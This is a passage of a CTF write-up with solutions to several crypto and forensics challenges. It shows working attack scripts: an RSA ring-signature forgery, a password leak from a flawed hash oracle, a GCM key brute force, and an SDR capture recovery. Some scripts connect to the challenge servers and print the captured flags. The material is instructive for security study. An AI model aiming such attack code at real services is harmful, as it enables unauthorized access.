(985, 974, 683, 1459, 158, 993, 641, 172, 913, 240, 37, 1124, 332, 75, 1042, 1412, 1197, 168, 429, 1038, 231, 943, 588, 501, 181, 1425, 51, 1335, 599, 1094, 363, 421, 1371, 1344, 1181, 809, 495, 973, 646, 1002, 691, 71, 1146, 158, 1169, 98, 48, 1087, 1316, 595, 1461, 417, 1365, 561, 1215, 1143, 1420, 399, 1136, 1434, 1183, 1157, 771, 1451, 551, 1386, 1381, 711, 568, 953, 550, 1016, 475, 526, 654, 447, 583, 372, 868, 1224, 600, 1180, 780, 70, 1448, 841, 852, 1298, 399, 449, 882, 270, 1359, 560, 1013, 1147, 75, 196, 631, 410, 109, 290, 681, 404, 809, 529, 1244, 845, 1040, 530, 928, 1142, 317, 1118, 1051, 632, 1225, 261, 1224, 221, 580, 779, 614, 1303, 448, 1139, 424, 606, 225, 90, 140, 402, 1042, 569, 1141, 1294, 580, 180, 491, 341, 1000, 869, 1075, 356, 1057, 745, 1210, 559, 301, 242, 319, 903, 1280, 1163, 1263, 797, 769, 1323, 1430, 329, 853, 123, 1430, 285, 426, 610, 211, 1443, 175, 298, 1129, 296, 1040, 1365, 1219, 915, 1343, 87, 607, 1249, 845, 713, 27, 993, 769, 165, 1118, 942, 709, 537, 944, 518, 1139, 780, 1417, 675, 921, 824, 488, 450, 502, 259, 414, 977, 684, 202, 728, 222, 180, 1407, 1395, 52, 339, 670, 219, 260, 1325, 747, 1087, 103, 71, 1112, 1078, 947, 594, 1316, 1458, 512, 703, 648, 40, 48, 1485, 1422, 1079, 830, 775, 538, 846, 92, 1303, 1186, 1377, 705, 1387, 874, 784, 383, 345, 619, 680, 1137, 1225, 1194, 1170, 869)
at the end. We can then simply use this to decrypt the given JPEG:
LOTR
yyyyyyy | Cryptanalysis, 936 points
This challenge asked us to forge an RSA ring signature (hence the name :P). The first thing we notice is a bit of weirdness in the RSA function:
def RSA_permutation(x,e,N):
r = x % N
q = x // N
if (q+1)*N <= 2 ** b:
return q * N + pow(r,e,N)
else:
return x
Instead of simply reducing everything modulo $N$ as one should, this “RSA permutation” first cuts off the $N\mathbb Z$ part, applies the permutation to the $\bmod N$ part, and then adds the $N\mathbb Z$ part back if it is smaller than a certain bound. This means the output is not necessarily smaller than $N$, and if we control the $N\mathbb Z$ part of the input, it will be copied directly to the output.
Let’s have a look at the ring signature construction:
def Verify(x, message):
w = 0
# [loading Pub_keys omitted]
if len(x) != len(Pub_keys):
return 'incorrect component count: %d given versus %d needed' % ( len(x), len(Pub_keys) )
for j in range(len(Pub_keys)):
w = w ^ RSA_permutation(x[j],e,Pub_keys[j])
if sha256(message) == w % (2 ** 256):
if message == 'FAKE NEWS':
flag = open("flag.txt").read()
return 'VALID signature, you get the FLAG: %s' % flag
else:
return 'VALID signature'
else:
return 'NOT valid'
So we should find a set of len(Pub_keys) RSA values $z_1,\dots,z_k$ which, when pushed through RSA_permutation with the respective public keys, XOR to something that equals sha256("FAKE NEWS") modulo $2^{256}$.
Another check in do_verify() makes sure our input is in a certain range:
if (sig < 2 ** b - 2 ** (2 * k)) and (sig > 2 ** (b-1) + 2 ** (2*k)):
To establish the basic idea, let us for now assume the number of public keys given was $k\geq 256$: Then, we can literally simply take random $z_i$s in the allowed range until the corresponding values \[ v_i := \mathtt{RSA\_permutation}(z_i,e,N_i) \bmod 2^{256} \] interpreted as vectors over $\mathrm{GF}(2)$ are linearly independent, then solve for the target vector $t:=\mathtt{sha256}(\texttt{“FAKE NEWS”})$ using linear algebra.
Now in the concrete instance given, the number of public keys in this task is $k=243$, hence $k$ random vectors will never span the whole vector space $\mathrm{GF}(2)^{256}$, so we generally cannot solve for $t$. However, note that the $v_i$ were essentially random and we can simply try many different values of the $z_i$s until $t$ happens to be in the subspace spanned by the $v_i$. Since that subspace is isomorphic to $\mathrm{GF}(2)^{k-\varepsilon}$ for some typically small integer $\varepsilon\geq0$, we expect to find a solution after something like \[ \lvert\mathrm{GF}(2)^{243-\varepsilon}\rvert/\lvert\mathrm{GF}(2)^{256}\rvert = 2^{256-k+\varepsilon}=2^{13+\varepsilon} \] random tries.
Here’s the sage script that implements this approach:
#!/usr/bin/env sage
import hashlib
def RSA_permutation(x,e,N):
r = x % N
q = x // N
if (q+1)*N <= 2 ** b:
return q*N + ZZ(pow(r,e,N))
else:
return x
k = 1024
b = 2*k+128
e = 0x10001
########################################
ns = list(map(ZZ, open('gov_officials_PK.txt').read().strip().split()))
l = len(ns)
int2vec = lambda v: vector(GF(2), map(ZZ, '{:0256b}'.format(v)))
t = int2vec(int(hashlib.sha256('FAKE NEWS').digest().encode('hex'),16))
ii = 0
while True:
sys.stderr.write('{:6}\r'.format(ii)); sys.stderr.flush()
ii += 1
Xs = [2**(b-1)+2**(b-2) + randrange(n) for n in ns]
Ys = [x + n*randrange(2**100) for x in Xs]
xs = [int2vec(RSA_permutation(X,e,n) % 2**256) for n,X in zip(ns,Xs)]
ys = [int2vec(RSA_permutation(Y,e,n) % 2**256) for n,Y in zip(ns,Ys)]
ds = [x+y for x,y in zip(xs,ys)]
mat = block_matrix(
[
[matrix(ds), matrix(l,1)],
[matrix([sum(xs) + t]), matrix([[1]])],
], subdivide=False)
try:
sol = mat.solve_left(vector(GF(2),[0]*256+[1]))
except ValueError:
continue
print(sol)
break
sig = [Y if s else X for s,X,Y in zip(sol,Xs,Ys)]
print('<<<<')
with open('sig.txt','w') as f:
for Z in sig:
f.write('{}\n'.format(Z))
print(Z)
print('>>>>')
After running this script for a while on a few computers, we obtained a valid signature in sig.txt, which allows us to retrieve the flag:
$ (echo 2; echo FAKE NEWS; cat sig.txt; echo 3) | nc 52.142.217.130 13375
========== LOTR ==========
1. Sign message
2. Verify message
3. Exit
Command: What message do you want to verify?
What's the signature?
VALID signature, you get the FLAG: PTBCTF{b3123cb707b8af89643b2441b182ca17}
========== LOTR ==========
1. Sign message
2. Verify message
3. Exit
Command:
$
Pass the Hash
yyyyyyy | Warmup/Learning, 50 points
We are given a script with a weird hash function that takes a salt and a password. The task first samples a random password, then offers an oracle to return hashes of that password with user-chosen salts, and finally asks us to return the hash for a certain randomly chosen salt. If it is correct, we get the flag.
Relevant code fragment:
def xor(s1,s2):
return ''.join([chr(ord(s1[i]) ^ ord(s2[i % len(s2)])) for i in range(len(s1))])
password = os.urandom(20)
no_rounds = 16
h_list = [sha, sha1, ripemd160, sha256]
def combo_hash(salt,password,h_list,no_rounds):
salted_pass = password + salt + password
l_pass = salted_pass[:32]
r_pass = salted_pass[32:]
for i in range(no_rounds):
l_index = ord(l_pass[31]) % len(h_list)
r_index = ord(r_pass[0]) % len(h_list)
l_hash = h_list[l_index](l_pass)
r_hash = h_list[r_index](r_pass)
l_pass = xor(l_pass,r_hash)
r_pass = xor(r_pass,l_hash)
return l_pass + r_pass
Note that xor() repeats the second input if it is shorter than the first input.
Thus, let us assume for now that the hash functions being used are always one of those returning only 20 bytes, i.e., not SHA256. Then, the value of l_pass at the end is simply the l_pass from the start XORed with a string v such that v[20:32] == v[:12].
Now also noting that the l_pass at the beginning equals password + salt[:12], we can see that XORing l_pass[:12] with l_pass[20:32] at the end yields
password[:12] ^ salt[:12] ^ v[:12] ^ v[20:32] = password[:12] ^ salt[:12].
Since salt is user-chosen when we call the oracle, this leaks password[:12]!
By symmetry, the same argument shows that the r_pass output leaks password[-12:], again under the assumption that all used hash functions have an output length of only 20 bytes.
Clearly, having password allows us to answer the challenge query by simply evaluating combo_hash() locally with the recovered password.
Now, note that we can even detect (with low error probability) when we have successfully leaked password, since the two leakages in the “good” case overlap on password[:12][-2:] == password[-12:][:2], which are quite likely to be different in the “bad” case.
The final question is: how often does it happen that all used hash functions have 20 bytes output length? Note that there are 32 hash function calls in total. By setting salt[11:13] to 00 00, we can make sure that the first-round calls are always good. Modelling the other calls as randomly chosen with a $3{/}4$ chance of being good, we can estimate the probability that some random choice of salt with 00 00 in the middle yields the password as $(3{/}4)^{30} \approx 1{/}5600$. Since we can try about $1000$ salts per connection, this is good enough, hence we simply keep querying the oracle with random salts until the password leaks, then get the flag:
#### warning, dirty CTF code ahead
i = 0
while True:
sock = socket.socket()
try:
sock.connect(('52.142.217.130', 13374))
except socket.error:
print('.')
time.sleep(1)
continue
while i % 1000 != 999:
salt = os.urandom(11) + '\0\0' + os.urandom(11)
sock.sendall(salt.encode('hex') + '\n')
s = ''
m = None
while not m:
tmp = sock.recv(0x100)
assert tmp
s += tmp
m = re.search('([0-9a-f]{128})', s)
s = m.groups()[0]
h = s.decode('hex')
l = xor(xor(h[20:][:12], h[00:]), salt[:12])
r = xor(xor(h[32:][20:], h[32:]), salt[12:])
print('{:6} {} {}'.format(i, l[-4:].encode('hex'), r[:4].encode('hex')))
if l[-4:] == r[:4]:
pw = l[:-4] + r
sock.sendall('00\n')
break
i += 1
else:
sock.sendall('q\n')
sock.close()
i += 1
continue
break
s = ''
m = None
while not m:
tmp = sock.recv(0x100)
assert tmp
s += tmp
m = re.search('([0-9a-f]{48})', s)
print(s)
s = m.groups()[0]
salt = s.decode('hex')
h = combo_hash(salt, pw, h_list, 16)
sock.sendall(h.encode('hex') + '\n')
import telnetlib
tel = telnetlib.Telnet()
tel.sock = sock
tel.interact()
Here’s the output from when we got the flag:
0 c3e5e35b 75c73f42
1 79747bdd 08fc6ce4
2 a405f3a5 25e76879
3 562bddba 169764c5
4 08fc6ce4 46262b49
5 eeb9a42f 35d2ff6c
6 dd66dd52 7a7dc3a6
7 b0262cf7 c59cbc14
8 439dcb58 45fb8f0f
9 304f692d 4098f124
10 78f099dd 0ebac558
11 39484517 869515da
[...]
6351 039bacbb 63a80aff
6352 03dd559f 0ab84f1a
6353 12626e2c f9c23a91
6354 c10dcdc1 15d766bb
6355 b36eb41d aaf06a54
6356 69a4e4f6 69a4e4f6
Here is the challenge salt:
38a308228ecfacc8b71c1c0d1d1acc90ace1a1a17a4f2614
Give me the challenge_hash
Congrats. Here's a flag for you:
PTBCTF{420199e572e685af8e1782fde58fd0e9}
*** Connection closed by remote host ***
Radio Ga Ga
hlt | Forensics, 996 points
I’d sit alone and watch your bytes My only friend through teenage nights
Man, I suck at altering song lyrics … and writing task descriptions. Anyway, I didn’t have an antenna laying around so I used a packet capture tool to intercept some USB packets to intercept some SDR communication. Surely you can at least do the antenna part and recover the message.
We are given a PCAPNG file containing a log of the USB messages sent from and to an SDR radio. It is quickly obvious that the actual data is contained in a number of large packets on device 3.7.2 (minus the first four, which seem to contain some other form of data). In each packet, skip the first 0x50 bytes to get to the raw I/Q data (as in most SDRs, data comes in as 8-byte values).
We export the packets to PDML and convert the data to floats, which seems to be a more favorable format for I/Q data:
#!/usr/bin/python
from bs4 import BeautifulSoup
import struct
with open('details.pdml') as details_file:
details = details_file.read()
datatype, conversion = 'ff', lambda v: (((v + 128) % 256) - 127.5) / 128.0
xml = BeautifulSoup(details, features='lxml')
samples = []
for packet in xml.findAll('packet')[4:]: # Skip first four matching packets
raw = bytes.fromhex(packet.findAll('proto')[-1].field['show'].replace(':', ''))[16:]
print(len(raw))
for bs in range(0, len(raw) - 1, 2):
iq = list(raw[bs:bs+2])
iq = map(conversion, iq)
samples.append(iq)
print(len(samples))
with open('data.bin', 'wb') as out_file:
for i, q in samples:
out_file.write(struct.pack(datatype, i, q))
Using sox, we construct a WAV file from the raw data:
sox -e float -t raw -r 1800000 -b 32 -c 2 data.bin -t wav -e float -b 32 -c 2 -r 1800000 raw.wav
From the spectrogram in Audacity, we can see that we are dealing with frequency-modulated audio:
Using SDRSharp (set the modulation mode to wideband FM) and a jury-rigged recording setup on top of parec, we get a piece of audio that sounds like someone reading a flag really really quickly.
With Audacity’s “Change Tempo” and “Change Pitch” effects, we can get this down to an acceptable level of speed, and add some filtering to remove the worst of the noise.
Then, deciphering the flag becomes a matter of listening carefully (and brute-forcing the few characters that were unintelligible, as our “correct flags / submitted flags” ratio clearly shows :D).
Avec?
hlt | Crypto, 856 points
It’s 2019 and people still use AES-CBC? Let’s encrypt stuff like it’s 3019!!!
We are given a SageMath script that generated the encrypted flag.bin file. Here are the important parts:
def do_raise_entropy(input_msg):
cipher = AES.new("assume_nothing!!", AES.MODE_CBC, "\x00"*16)
return cipher.encrypt(input_msg)
def polish_key(key):
key = bytes_to_long(key[::-1])
key = GF(2**64).fetch_int(key)
key = key ** 0xbcafffff435
key = long_to_bytes( key.integer_representation() )[::-1]
assert len(key) == 8
return key
def do_encrypt(data):
half = polish_key( os.urandom(8) )
key = half + half
half2 = polish_key( os.urandom(8) )
nonce = half2 + half2
cipher = AES.new(key, AES.MODE_GCM, nonce = nonce[:12])
cipher.update("PTB")
ciphertext, tag = cipher.encrypt_and_digest( do_raise_entropy(data) )
open("flag.bin", "wb+").write(ciphertext + tag)
do_encrypt( open("flag.txt").read() )
In particular, the flag is fist encrypted with AES-CBC under a fixed key and IV, and then with AES-GCM with a randomized key and nonce.
However, instead of generating 16 random bytes, this encryption method only generates eight, performs the polish_key operation, and then just doubles this eight-byte string to obtain thet key. Naïvely, this reduces our search spaces to 64 bits, but we can do better than this.
In polish_key, the eight-byte random is represented as a value in $GF\left(2^{64}\right)$, and raised to the 0xbcafffff435-th power. We note that the order of the field is $2^{64}-1$, or $3\times5\times17\times257\times641\times65537\times6700417$, and the exponent factors to $3\times5\times17\times257\times3019\times65537$.
No matter which random value we start with, this means that we end up in a subgroup of $GF\left(2^{64}\right)$ with a size of $641\times6700417\approx2^{32}$, a much more manageable search space for the key.
To validate each key, we use the properties of the GCM construction:
For every key $k$, we compute $H = E_k(0^{128})$. Since we know the associated data $A$ (PTB, 24 bits) and the length of all encrypted data (there are two ciphertext blocks in the GCM output, so there must also have been two ciphertext blocks in the CBC output / GCM input (256 bits)), we can compute the expected authentication tag minus the encrypted nonce:
\[ T’=((((((A*H)\oplus c_0)*H)\oplus c_1)*H)\oplus(\mathtt{len}(A)||\mathtt{len}({C})))*H \]
Therefore, $E_k(ctr_0) = E_k(nonce||0^{31}||1) = T \oplus T’$. We use our candidate key to decrypt $T \oplus T’$ and confirm that the result matches the format prescribed for the GCM counter (the 96-bit input nonce and a 32-bit counter with value 1). The nonce itself is generated like the key, so its first four bytes must match the bytes between byte 8 and byte 12.
If this matches, we incrment the counter to generate the keystream used by GCM and compute the plaintexts (i.e. the CBC ciphertexts) used as input.
Then, we can simply use AES-CBC with the hard-coded key and IV to obtain the flag.